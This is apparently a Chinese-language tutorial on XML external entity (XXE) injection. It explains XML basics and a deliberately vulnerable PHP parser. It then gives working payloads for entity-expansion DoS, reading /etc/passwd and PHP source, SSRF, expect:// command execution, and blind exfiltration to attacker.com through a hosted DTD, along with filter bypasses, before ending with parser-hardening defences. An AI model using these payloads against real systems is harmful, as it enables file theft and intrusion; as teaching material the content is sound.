XXE由浅入深
引言
XXE(XML External Entity,XML外部实体注入)漏洞的触发点通常出现在应用允许用户上传或提交XML文件时,且未对其内容进行充分过滤或限制。攻击者可以通过精心构造的恶意XML,加载外部实体,从而实现任意文件读取、命令执行、内网端口扫描、攻击内网Web服务,甚至发起拒绝服务(DoS)攻击等危害。
要深入理解XXE漏洞,首先需要掌握XML文档的基础结构和工作机制。只有了解XML是如何处理实体与数据解析的,才能更准确地识别潜在的风险点与攻击路径。
XML基础
XML(eXtensible Markup Language,可扩展标记语言)被设计用于传输和存储数据,其核心思想是数据与表现分离。理解 XXE 漏洞的前提,是掌握 XML 的基本语法和构造。
XML Prolog
XML 文档的开头通常包含如下声明:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
这部分被称为 XML Prolog,用于声明 XML 的版本、编码方式以及是否依赖外部定义(standalone)。虽然是可选的,但若使用,必须位于文档最顶部。
XML 语法规则
XML 有严格的语法要求,常见规则如下:
- 所有元素必须有结束标签(闭合)
- 标签名称对大小写敏感(
<Tag>
≠<tag>
) - 元素必须正确嵌套
- XML 文档必须包含唯一的根元素
- 属性值必须用引号(单双均可)包裹
- 空格不会被自动忽略(默认保留)
CDATA 区块
当 XML 中包含可能引起解析冲突的字符(如 <
、&
等)时,可使用 <![CDATA[ ... ]]>
区块包裹,这样内容将被视为纯文本,不被解析器处理。
XML 的构建模块
一个完整的 XML 文档通常包含以下基础构建块:
模块 | 说明 |
---|---|
元素 | 文档的基本单元,可包含文本、属性或嵌套其他元素 |
属性 | 为元素提供额外信息,以键值对形式存在 |
实体 | 一种占位符机制,可表示特殊字符或外部内容 |
PCDATA | 解析字符数据,被 XML 解析器解析的普通文本 |
CDATA | 非解析字符数据,保留原始内容不被解析 |
1. 元素(Element)
元素是 XML 的核心结构。示例:
<body>body text in between</body>
<message>some message in between</message>
空元素写法(使用自闭合):
<br />
<img src="image.png" />
2. 属性(Attribute)
属性用于补充元素的信息:
<img src="computer.gif" alt="A computer image" />
3. 实体(Entity)
实体用于表示特殊字符或引用外部内容,例如:
< 表示 <
> 表示 >
" 表示 "
' 表示 '
还可以定义自定义实体(用于 XXE 的攻击点):
<!ENTITY example "This is an entity">
4. PCDATA
PCDATA(Parsed Character Data)是可被解析器处理的内容,如文本、实体引用等。
5. CDATA
CDATA(Character Data)是不被解析器解析的内容。用于保留原始字符,例如 HTML、JS 片段:
<![CDATA[<script>alert("Hello");</script>
]]>
漏洞原理
原理
XXE(XML External Entity)漏洞的根本原因在于 XML 解析器在处理文档时默认支持外部实体引用。攻击者可以构造恶意的 XML 内容,在其中定义外部实体,使服务器在解析 XML 时自动访问本地文件、远程资源或执行特定操作。
当服务器开启了外部实体功能,并未对用户提供的 XML 内容进行严格限制时,攻击者便可通过如下行为实现攻击目标:
- 读取服务器上的任意文件(如
/etc/passwd
、配置文件等) - 执行系统命令(通过特定环境下的协议触发)
- 探测内网端口(通过请求特定 IP 与端口观察响应)
- 发起对内网站点的 SSRF 攻击
- 发动拒绝服务攻击(DoS)
通常,常规 XXE 攻击需要服务器端存在 回显机制 或 错误信息反馈,攻击者才能确认是否成功。然而,即使在无回显场景下,也可以通过 盲 XXE(Blind XXE) 实现信息泄露。例如,通过将敏感数据回传至攻击者控制的服务器(如通过 http://attacker.com/
发送 DNS 或 HTTP 请求),即可在无本地回显的条件下完成数据窃取。
案例
先来一个简单的案例分析。
这个漏洞这是一个普通的数据提交窗口,提交的内容会被直接当作XML解析并执行。
漏洞探测
通常只有在使用 XML 格式传输数据时,才可能出现 XML 注入漏洞。上述输入框中的内容正是通过 XML 格式传输的。不过,目前大多数场景已经转向使用 JSON 进行数据传输,并且通常会禁止 XML 的执行,这使得 XML 注入漏洞变得相对罕见。
payload
<?xml version = "1.0"?><!DOCTYPE note [<!ENTITY hacker "test">]><name>&hacker;</name>
源码分析
<?php
$html = '';// 考虑到目前很多版本 libxml >= 2.9.0,因此强行开启实体解析
if (isset($_POST['submit']) && $_POST['xml'] != null) {$xml = $_POST['xml'];// 存在 XXE 漏洞的关键点:使用了 LIBXML_NOENT,允许解析外部实体$data = @simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);if ($data) {$html .= "<pre>{$data}</pre>";} else {$html .= "<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";}
}
?>
漏洞利用
XXE 利用方式
1. 拒绝服务攻击(DoS)
通过构造大量嵌套的实体引用,使 XML 解析器陷入深度递归,消耗大量资源,导致服务器响应缓慢甚至崩溃。
<!DOCTYPE data [<!ELEMENT data (#ANY)><!ENTITY a0 "dos"><!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;"><!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>
若解析时间异常缓慢,则目标可能存在 DoS 风险。攻击者可通过构造更深层级的嵌套或引用大型外部资源进一步放大攻击效果。
2. 本地文件读取
通过定义 SYSTEM 实体引用本地文件,实现读取服务器文件内容(需服务器有回显):
<?xml version="1.0"?>
<!DOCTYPE data [<!ELEMENT data (#ANY)><!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
3. SSRF(服务器端请求伪造)
通过 SYSTEM 实体发起对目标服务器内网地址或外部站点的请求,实现端口探测或攻击:
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/">
<data>test</data>
4. 远程命令执行(RCE)— expect协议
某些解析器(如 PHP 的 libxml2)在启用 expect://
时可利用外部实体触发命令执行:
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "expect://id">
]>
<catalog><core id="test101"><description>&xxe;</description></core>
</catalog>
5. XInclude 利用方式
XInclude 是另一种 XML 引用机制。通过引用外部资源(本地或远程)实现读取文件或注入内容:
<?xml version="1.0"?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"/>
</data>
XXE不同场景利用
有回显场景下的 XXE 文件读取
读取 Windows 文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///c:/post.txt">
]>
<name>&xxe;</name>
读取并编码 PHP 文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=conf.php">
]>
<name>&xxe;</name>
无回显场景(Blind XXE)
在服务器无回显或无错误信息的情况下,可将敏感数据通过 HTTP 请求发送到攻击者控制的服务器。攻击过程分两步:
构造请求 XML
<!DOCTYPE foo SYSTEM "http://192.168.3.112/test.dtd">
&e1;
服务器端 DTD 内容(test.dtd)
该文件由攻击者控制,用于定义外部实体并执行回传操作。
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;
当目标服务器解析该 DTD 时,将尝试访问 http://attacker.com/?data=xxx
,攻击者即可接收到回传的敏感信息。
绕过措施
在实际环境中,<!ENTITY>
、SYSTEM
、file
等敏感关键词可能已被过滤或拦截。以下是几种常见的绕过方法,可配合 Blind XXE 进行测试。
编码绕过:UTF-16BE
绕过基于关键词过滤(如 ENTITY
、SYSTEM
)的检测。
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.utf16be.xml
data 协议绕过
通过外部 DTD 加载构造攻击内容:
<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % a "<!ENTITY % b SYSTEM 'http://your-server/hack.dtd'>">%a;%b;
]>
<test>&hhh;</test>
file 协议 + 文件上传
上传构造文件后,通过 file://
读取本地路径:
<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % a SYSTEM "file:///var/www/uploads/xxx.jpg">%a;
]>
php://filter + 上传文件
用于读取 PHP 文件源码并 base64 编码回显:
<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY hhh SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.php">
]>
<test>&hhh;</test>
或读取上传文件并进行 base64 解码:
<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/xxx.jpg">%a;
]>
<test>&hhh;</test>
漏洞防御
XXE(XML External Entity)漏洞的本质是 XML 解析器默认允许加载外部实体,所以防御的核心思路是:禁用外部实体解析 + 过滤危险关键字。
禁用外部实体解析(各语言实现方式)
建议在服务器端 XML 解析前,显式关闭外部实体支持,并优先使用安全版本的解析器(如 libxml ≥ 2.9)。
PHP
libxml_disable_entity_loader(true); // 禁用实体加载(PHP 7.0 以下有效)
PHP 7.0+ 已默认禁用外部实体,但建议仍显式调用以防旧版本。
Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false); // 禁止扩展实体
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁止 DOCTYPE 声明
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); // 禁止外部通用实体
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); // 禁止外部参数实体
Python(使用 lxml 库)
from lxml import etreeparser = etree.XMLParser(resolve_entities=False) # 禁止解析实体
tree = etree.parse(xml_source, parser)
过滤用户提交的 XML 数据
除了在解析器层面限制外,也建议在业务逻辑中对用户上传或提交的 XML 数据进行静态检查和过滤,防止恶意注入。
关键词过滤(包括但不限于):
<!DOCTYPE
<!ENTITY
SYSTEM
PUBLIC
建议采用正则表达式或白名单机制,在数据进入解析流程前进行检测和拦截。